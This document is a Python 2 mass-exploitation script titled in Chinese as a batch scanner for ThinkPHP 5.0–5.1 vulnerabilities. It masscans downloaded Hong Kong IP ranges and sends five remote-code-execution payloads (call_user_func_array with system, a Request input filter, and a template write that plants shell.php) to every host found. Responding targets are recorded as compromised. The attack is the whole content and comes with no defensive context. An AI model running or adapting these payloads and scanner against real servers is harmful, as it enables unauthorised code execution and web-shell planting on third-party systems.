python批量扫描thinkphp5.0-5.1高危漏洞

#-*-coding:utf-8-*-
import os
import re
import sys
import time
import multiprocessing
import urllib2
import requests
import urllib
import threading
import queue
 
payload = {
    0:r"?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
    1:r"?s=index/\think\Request/input&filter=system&data=echo%20www_admintony_com",
    2:r"?s=index/\think\view\driver\Php/display&content=%3C?php%20echo%20www_admintony_com;?%3E",
    3:r"?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20www_admintony_com",
    4:r"?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20echo%20\"www_admintony_com\";?%3E"
}
headers={'user-agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Mobile Safari/537.36',
        'referer':'http://baidu.com'}
 
class store(threading.Thread):
    def __init__(self,queue,proxys,urls):
        threading.Thread.__init__(self)
        self.queue =queue
        self.proxys = proxys
        self.urls =urls
 
    def run(self):
        try:
            scanThink(self.proxys, self.urls)
        except Exception as e:
            print(e)
        finally:
            self.queue.get()
            self .queue.task_done()
#----------------------------------------------------------------------
def main(prots,ip_dic):
    """
    主函数，处理输入的参数
    """
    iplist = None
    try:
        url_file = open('urls.txt','r')
        urls = url_file.readlines()
        url_file.close()
 
        iplist=[]
        _ipFile=open(ip_dic, 'r').readlines()
        for echo in _ipFile:
            ip=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", echo)
            if ip != []:
                #print ip[0]
                iplist.append(ip[0])
        p =0
        print "Start test porxy..."
        maxTreads=150
        q=queue.Queue(maxTreads)
        for proxys in iplist:
            q.put(proxys)
            t=store(q, proxys, urls)
            t.start()
        q.join()
        print("over")
    except Exception:
        print "[!] The path of the dictionary file is incorrect"
        pass
        #exit()
#----------------------------------------------------------------------
def scanThink(ip,urls):
    i = 0
    flag =False
    URL = "http://" + ip.strip()
    url = URL + "/" + payload.get(i)
    print URL
    while i<5:
        #print(payload.get(i))
        if not flag:
            if i<4:
                flag = Requests(url)
            elif i==4:
                flag = Requests_write(url,URL)
            i = i+1
        else:
            break
    if i!=5:
        print  "\033[1;32;41m"+url+"\033[0m"
        output = open("good.txt", 'a')
        output.write(url+"\n")
def Requests(url):
    res = requests.get(url,headers=headers,timeout=2)
    if 'www_admintony_com' in res.text and 'echo' not in res.text:
        return True
    else:
        return False
 
def Requests_write(url,URL):
    # 写shell
    requests.get(url,headers=headers,timeout=2)
    # 验证是否写入成功
    res1 = requests.get(URL+'/shell.php',timeout=2)
    if 'www_admintony_com' in res1.text and 'echo' not in res.text:
        return True
    else:
        return False
#----------------------------------------------------------------------
if __name__ == '__main__':
 
    prots = ['80']
    ip_dic = "proxy.txt"
    ipl="http://ipblock.chacuo.net/down/t_txt=c_HK"
    req  =urllib2.Request(ipl)
    res =urllib2.urlopen(req,timeout=5).read()
    #print res
    ipd=re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]{1,2}\b", res)
    #print ipd
    for i in ipd[6:]:
        print i
        for prot in prots:
            ########################################
            #MASSCAN
            os.system("/root/masscan/bin/./masscan %s -p%s --rate 25000 -oX %s --wait 2" % (i,prot,ip_dic))
            #######################################
            time.sleep(1)
            main(prot,ip_dic)
            time.sleep(5)
    exit()